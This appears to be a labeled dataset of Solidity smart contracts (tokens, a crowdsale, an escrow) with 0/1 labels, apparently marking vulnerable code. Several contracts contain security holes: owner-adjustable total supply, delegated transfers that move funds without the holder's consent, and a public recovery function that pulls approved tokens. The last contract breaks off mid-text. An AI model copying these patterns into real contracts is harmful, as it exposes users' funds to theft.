source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.2;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.2;
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
pragma solidity ^0.5.2;
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
pragma solidity ^0.5.2;
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
pragma solidity ^0.5.2;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.2;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.2;
contract SignerRole {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(msg.sender);
}
modifier onlySigner() {
require(isSigner(msg.sender));
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(msg.sender);
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.2;
contract SignatureBouncer is SignerRole {
using ECDSA for bytes32;
uint256 private constant _METHOD_ID_SIZE = 4;
uint256 private constant _SIGNATURE_SIZE = 96;
constructor () internal {
}
modifier onlyValidSignature(bytes memory signature) {
require(_isValidSignature(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndMethod(bytes memory signature) {
require(_isValidSignatureAndMethod(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndData(bytes memory signature) {
require(_isValidSignatureAndData(msg.sender, signature));
_;
}
function _isValidSignature(address account, bytes memory signature) internal view returns (bool) {
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account)), signature);
}
function _isValidSignatureAndMethod(address account, bytes memory signature) internal view returns (bool) {
bytes memory data = new bytes(_METHOD_ID_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidSignatureAndData(address account, bytes memory signature) internal view returns (bool) {
require(msg.data.length > _SIGNATURE_SIZE);
bytes memory data = new bytes(msg.data.length - _SIGNATURE_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidDataHash(bytes32 hash, bytes memory signature) internal view returns (bool) {
address signer = hash.toEthSignedMessageHash().recover(signature);
return signer != address(0) && isSigner(signer);
}
}
pragma solidity ^0.5.2;
library ERC165Checker {
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
function _supportsERC165(address account) internal view returns (bool) {
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
function _supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
return _supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function _supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
if (!_supportsERC165(account)) {
return false;
}
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool success, bool result)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
assembly {
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
let output := mload(0x40)
mstore(output, 0x0)
success := staticcall(
30000,
account,
encodedParams_data,
encodedParams_size,
output,
0x20
)
result := mload(output)
}
}
}
pragma solidity ^0.5.2;
contract TorocusToken is ERC20Detailed, ERC20Mintable, ERC20Burnable, ERC20Pausable, SignatureBouncer {
using SafeMath for uint256;
mapping (address => mapping (uint256 => bool)) public _usedNonce;
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 initialSupply,
address initialHolder,
address minter,
address signer,
address pauser
)
ERC20Detailed(name, symbol, decimals)
SignatureBouncer()
ERC20Mintable()
ERC20Pausable()
public
{
_mint(initialHolder, initialSupply);
_addMinter(minter);
_addPauser(pauser);
_addSigner(signer);
}
modifier isNotUsedNonce(address from, uint256 nonce) {
require(!_usedNonce[from][nonce]);
_;
}
function transferDelegatedWithSign(
address from,
address to,
uint256 amount,
uint256 fee,
uint256 nonce,
string memory message,
bytes memory signature
) public
whenNotPaused
isNotUsedNonce(msg.sender, nonce)
onlyValidSignatureAndData(signature)
returns (bool success)
{
require(from != address(0));
require(to != address(0));
require(from != to);
require(msg.sender != to);
require(msg.sender != from);
require(balanceOf(from) >= amount.add(fee), "not enough balance");
if(fee > 0) {
_transfer(from, msg.sender, fee);
}
_transfer(from, to, amount);
_usedNonce[msg.sender][nonce] = true;
return true;
}
} | 1 | 3,345 |
pragma solidity ^0.4.25;
contract NetkillerTestToken {
address public owner;
string public name;
string public symbol;
uint public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint decimalUnits
) public {
owner = msg.sender;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setSupply(uint256 _initialSupply) onlyOwner public{
totalSupply = _initialSupply * 10 ** uint256(decimals);
}
function setName(string _name) onlyOwner public{
name = _name;
}
function setSymbol(string _symbol) onlyOwner public{
symbol = _symbol;
}
function setDecimals(uint _decimals) onlyOwner public{
decimals = _decimals;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success){
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
} | 1 | 3,790 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function sqrt(uint num) internal returns (uint) {
if (0 == num) {
return 0;
}
uint n = (num / 2) + 1;
uint n1 = (n + (num / n)) / 2;
while (n1 < n) {
n = n1;
n1 = (n + (num / n)) / 2;
}
return n;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract AdsharesToken is StandardToken {
using SafeMath for uint;
string public constant name = "Adshares Token";
string public constant symbol = "ADST";
uint public constant decimals = 0;
uint public constant tokenCreationMin = 10000000;
uint public constant tokenPriceMin = 0.0004 ether;
uint public constant tradeSpreadInvert = 50;
uint public constant crowdsaleEndLockTime = 1 weeks;
uint public constant fundingUnlockPeriod = 1 weeks;
uint public constant fundingUnlockFractionInvert = 100;
uint public crowdsaleStartBlock;
address public owner1;
address public owner2;
address public withdrawAddress;
bool public minFundingReached;
uint public crowdsaleEndDeclarationTime = 0;
uint public fundingUnlockTime = 0;
uint public unlockedBalance = 0;
uint public withdrawnBalance = 0;
bool public isHalted = false;
event LogBuy(address indexed who, uint tokens, uint purchaseValue, uint supplyAfter);
event LogSell(address indexed who, uint tokens, uint saleValue, uint supplyAfter);
event LogWithdraw(uint amount);
event LogCrowdsaleEnd(bool completed);
modifier fundingActive() {
if (block.number < crowdsaleStartBlock) {
throw;
}
if (crowdsaleEndDeclarationTime > 0 && block.timestamp > crowdsaleEndDeclarationTime + crowdsaleEndLockTime) {
throw;
}
_;
}
modifier onlyOwner() {
if (msg.sender != owner1 && msg.sender != owner2) {
throw;
}
_;
}
function AdsharesToken (address _owner1, address _owner2, address _withdrawAddress, uint _crowdsaleStartBlock)
{
owner1 = _owner1;
owner2 = _owner2;
withdrawAddress = _withdrawAddress;
crowdsaleStartBlock = _crowdsaleStartBlock;
}
function getLockedBalance() private constant returns (uint lockedBalance) {
return this.balance.sub(unlockedBalance);
}
function getBuyPrice(uint _bidValue) constant returns (uint tokenCount, uint purchaseValue) {
uint flatTokenCount;
uint startSupply;
uint linearBidValue;
if(totalSupply < tokenCreationMin) {
uint maxFlatTokenCount = _bidValue.div(tokenPriceMin);
if(totalSupply.add(maxFlatTokenCount) <= tokenCreationMin) {
return (maxFlatTokenCount, maxFlatTokenCount.mul(tokenPriceMin));
}
flatTokenCount = tokenCreationMin.sub(totalSupply);
linearBidValue = _bidValue.sub(flatTokenCount.mul(tokenPriceMin));
startSupply = tokenCreationMin;
} else {
flatTokenCount = 0;
linearBidValue = _bidValue;
startSupply = totalSupply;
}
uint currentPrice = tokenPriceMin.mul(startSupply).div(tokenCreationMin);
uint delta = (2 * startSupply).mul(2 * startSupply).add(linearBidValue.mul(4 * 1 * 2 * startSupply).div(currentPrice));
uint linearTokenCount = delta.sqrt().sub(2 * startSupply).div(2);
uint linearAvgPrice = currentPrice.add((startSupply+linearTokenCount+1).mul(tokenPriceMin).div(tokenCreationMin)).div(2);
linearTokenCount = linearBidValue / linearAvgPrice;
linearAvgPrice = currentPrice.add((startSupply+linearTokenCount+1).mul(tokenPriceMin).div(tokenCreationMin)).div(2);
purchaseValue = linearTokenCount.mul(linearAvgPrice).add(flatTokenCount.mul(tokenPriceMin));
return (
flatTokenCount + linearTokenCount,
purchaseValue
);
}
function getSellPrice(uint _askSizeTokens) constant returns (uint saleValue) {
uint flatTokenCount;
uint linearTokenMin;
if(totalSupply <= tokenCreationMin) {
return tokenPriceMin * _askSizeTokens;
}
if(totalSupply.sub(_askSizeTokens) < tokenCreationMin) {
flatTokenCount = tokenCreationMin - totalSupply.sub(_askSizeTokens);
linearTokenMin = tokenCreationMin;
} else {
flatTokenCount = 0;
linearTokenMin = totalSupply.sub(_askSizeTokens);
}
uint linearTokenCount = _askSizeTokens - flatTokenCount;
uint minPrice = (linearTokenMin).mul(tokenPriceMin).div(tokenCreationMin);
uint maxPrice = (totalSupply+1).mul(tokenPriceMin).div(tokenCreationMin);
uint linearAveragePrice = minPrice.add(maxPrice).div(2);
return linearAveragePrice.mul(linearTokenCount).add(flatTokenCount.mul(tokenPriceMin));
}
function() payable fundingActive
{
buyLimit(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
}
function buy() payable external fundingActive {
buyLimit(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
}
function buyLimit(uint _maxPrice) payable public fundingActive {
require(msg.value >= tokenPriceMin);
assert(!isHalted);
uint boughtTokens;
uint averagePrice;
uint purchaseValue;
(boughtTokens, purchaseValue) = getBuyPrice(msg.value);
if(boughtTokens == 0) {
msg.sender.transfer(msg.value);
return;
}
averagePrice = purchaseValue.div(boughtTokens);
if(averagePrice > _maxPrice) {
msg.sender.transfer(msg.value);
return;
}
assert(averagePrice >= tokenPriceMin);
assert(purchaseValue <= msg.value);
totalSupply = totalSupply.add(boughtTokens);
balances[msg.sender] = balances[msg.sender].add(boughtTokens);
if(!minFundingReached && totalSupply >= tokenCreationMin) {
minFundingReached = true;
fundingUnlockTime = block.timestamp;
unlockedBalance += this.balance.sub(msg.value).div(tradeSpreadInvert);
}
if(minFundingReached) {
unlockedBalance += purchaseValue.div(tradeSpreadInvert);
}
LogBuy(msg.sender, boughtTokens, purchaseValue, totalSupply);
if(msg.value > purchaseValue) {
msg.sender.transfer(msg.value.sub(purchaseValue));
}
}
function sell(uint _tokenCount) external fundingActive {
sellLimit(_tokenCount, 0);
}
function sellLimit(uint _tokenCount, uint _minPrice) public fundingActive {
require(_tokenCount > 0);
assert(balances[msg.sender] >= _tokenCount);
uint saleValue = getSellPrice(_tokenCount);
uint averagePrice = saleValue.div(_tokenCount);
assert(averagePrice >= tokenPriceMin);
if(minFundingReached) {
averagePrice -= averagePrice.div(tradeSpreadInvert);
saleValue -= saleValue.div(tradeSpreadInvert);
}
if(averagePrice < _minPrice) {
return;
}
assert(saleValue <= this.balance);
totalSupply = totalSupply.sub(_tokenCount);
balances[msg.sender] = balances[msg.sender].sub(_tokenCount);
LogSell(msg.sender, _tokenCount, saleValue, totalSupply);
msg.sender.transfer(saleValue);
}
function unlockFunds() external onlyOwner fundingActive {
assert(minFundingReached);
assert(block.timestamp >= fundingUnlockTime);
uint unlockedAmount = getLockedBalance().div(fundingUnlockFractionInvert);
unlockedBalance += unlockedAmount;
assert(getLockedBalance() > 0);
fundingUnlockTime += fundingUnlockPeriod;
}
function withdrawFunds(uint _value) external onlyOwner fundingActive onlyPayloadSize(32) {
require(_value <= unlockedBalance);
assert(minFundingReached);
unlockedBalance -= _value;
withdrawnBalance += _value;
LogWithdraw(_value);
withdrawAddress.transfer(_value);
}
function declareCrowdsaleEnd() external onlyOwner fundingActive {
assert(minFundingReached);
assert(crowdsaleEndDeclarationTime == 0);
crowdsaleEndDeclarationTime = block.timestamp;
LogCrowdsaleEnd(false);
}
function confirmCrowdsaleEnd() external onlyOwner {
assert(crowdsaleEndDeclarationTime > 0 && block.timestamp > crowdsaleEndDeclarationTime + crowdsaleEndLockTime);
LogCrowdsaleEnd(true);
withdrawAddress.transfer(this.balance);
}
function haltCrowdsale() external onlyOwner fundingActive {
assert(!minFundingReached);
isHalted = !isHalted;
}
} | 0 | 1,774 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EternalStorage is Ownable {
struct Storage {
mapping(uint256 => uint256) _uint;
mapping(uint256 => address) _address;
mapping(address => uint256) _allowed;
}
Storage internal s;
constructor(uint _rF,
address _r,
address _f,
address _a,
address _t,
uint _sF)
public {
setAddress(0, _a);
setAddress(1, _r);
setUint(1, _rF);
setAddress(2, _f);
setUint(2, _sF);
setAddress(3, _t);
}
modifier onlyAllowed() {
require(msg.sender == owner || s._allowed[msg.sender] == uint256(1));
_;
}
function identify(address _address) external onlyOwner {
s._allowed[_address] = uint256(1);
}
function revoke(address _address) external onlyOwner {
s._allowed[_address] = uint256(0);
}
function transferOwnership(address newOwner) public onlyOwner {
Ownable.transferOwnership(newOwner);
}
function setUint(uint256 i, uint256 v) public onlyOwner {
s._uint[i] = v;
}
function setAddress(uint256 i, address v) public onlyOwner {
s._address[i] = v;
}
function getUint(uint256 i) external view onlyAllowed returns (uint256) {
return s._uint[i];
}
function getAddress(uint256 i) external view onlyAllowed returns (address) {
return s._address[i];
}
function getAllowedStatus(address a) external view onlyAllowed returns (uint) {
return s._allowed[a];
}
function selfDestruct () external onlyOwner {
selfdestruct(owner);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Escrow is Ownable {
enum transactionStatus {
Default,
Pending,
PendingR1,
PendingR2,
Completed,
Canceled}
struct Transaction {
transactionStatus status;
uint baseAmt;
uint txnAmt;
uint sellerFee;
uint buyerFee;
uint buyerBalance;
address buyer;
uint token;
}
mapping(address => Transaction) transactions;
mapping(address => uint) balance;
ERC20 base;
ERC20 token;
EternalStorage eternal;
uint rF;
address r;
address reserve;
constructor(ERC20 _base, address _s) public {
base = _base;
eternal = EternalStorage(_s);
}
modifier onlyAllowed() {
require(msg.sender == owner || msg.sender == eternal.getAddress(0));
_;
}
function userRecover(address _origin, address _destination, uint _baseAmt) external {
transactions[_origin] =
Transaction(
transactionStatus.PendingR1,
_baseAmt,
0,
eternal.getUint(2),
0,
0,
_destination,
0);
Transaction storage transaction = transactions[_origin];
base.transferFrom(_origin, owner, transaction.sellerFee);
base.transferFrom(_origin, reserve, rF);
uint destinationAmt = _baseAmt - (transaction.sellerFee + rF);
base.transferFrom(_origin, _destination, destinationAmt);
recovery(_origin);
}
function createTransaction (
address _tag,
uint _baseAmt,
uint _txnAmt,
uint _sellerFee,
uint _buyerFee) external payable {
Transaction storage transaction = transactions[_tag];
require(transaction.buyer == 0x0);
transactions[_tag] =
Transaction(
transactionStatus.Pending,
_baseAmt,
_txnAmt,
_sellerFee,
_buyerFee,
0,
msg.sender,
0);
uint buyerTotal = _txnAmt + _buyerFee;
require(transaction.buyerBalance + msg.value == buyerTotal);
transaction.buyerBalance += msg.value;
balance[msg.sender] += msg.value;
}
function createTokenTransaction (
address _tag,
uint _baseAmt,
uint _txnAmt,
uint _sellerFee,
uint _buyerFee,
address _buyer,
uint _token) external onlyAllowed {
require(_token != 0);
require(eternal.getAddress(_token) != 0x0);
Transaction storage transaction = transactions[_tag];
require(transaction.buyer == 0x0);
transactions[_tag] =
Transaction(
transactionStatus.Pending,
_baseAmt,
_txnAmt,
_sellerFee,
_buyerFee,
0,
_buyer,
_token);
uint buyerTotal = _txnAmt + _buyerFee;
token = ERC20(eternal.getAddress(_token));
token.transferFrom(_buyer, address(this), buyerTotal);
transaction.buyerBalance += buyerTotal;
}
function release(address _tag) external onlyAllowed {
releaseFunds(_tag);
}
function releaseFunds (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.Pending);
uint buyerTotal = transaction.txnAmt + transaction.buyerFee;
uint buyerBalance = transaction.buyerBalance;
transaction.buyerBalance = 0;
require(buyerTotal == buyerBalance);
base.transferFrom(_tag, transaction.buyer, transaction.baseAmt);
uint totalFees = transaction.buyerFee + transaction.sellerFee;
uint sellerTotal = transaction.txnAmt - transaction.sellerFee;
transaction.txnAmt = 0;
transaction.sellerFee = 0;
if (transaction.token == 0) {
_tag.transfer(sellerTotal);
owner.transfer(totalFees);
} else {
token = ERC20(eternal.getAddress(transaction.token));
token.transfer(_tag, sellerTotal);
token.transfer(owner, totalFees);
}
transaction.status = transactionStatus.PendingR1;
recovery(_tag);
}
function recovery(address _tag) private {
r1(_tag);
r2(_tag);
}
function r1 (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.PendingR1);
transaction.status = transactionStatus.PendingR2;
base.transferFrom(reserve, _tag, rF);
}
function r2 (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.PendingR2);
transaction.buyer = 0x0;
transaction.status = transactionStatus.Completed;
base.transferFrom(_tag, r, rF);
}
function cancel (address _tag) external onlyAllowed {
Transaction storage transaction = transactions[_tag];
if (transaction.token == 0) {
cancelTransaction(_tag);
} else {
cancelTokenTransaction(_tag);
}
}
function cancelTransaction (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.Pending);
uint refund = transaction.buyerBalance;
transaction.buyerBalance = 0;
address buyer = transaction.buyer;
transaction.buyer = 0x0;
buyer.transfer(refund);
transaction.status = transactionStatus.Canceled;
}
function cancelTokenTransaction (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.Pending);
token = ERC20(eternal.getAddress(transaction.token));
uint refund = transaction.buyerBalance;
transaction.buyerBalance = 0;
address buyer = transaction.buyer;
transaction.buyer = 0x0;
token.transfer(buyer, refund);
transaction.status = transactionStatus.Canceled;
}
function resync () external onlyOwner {
rF = eternal.getUint(1);
r = eternal.getAddress(1);
reserve = eternal.getAddress(2);
}
function Eternal (address _s) external onlyOwner {
eternal = EternalStorage(_s);
}
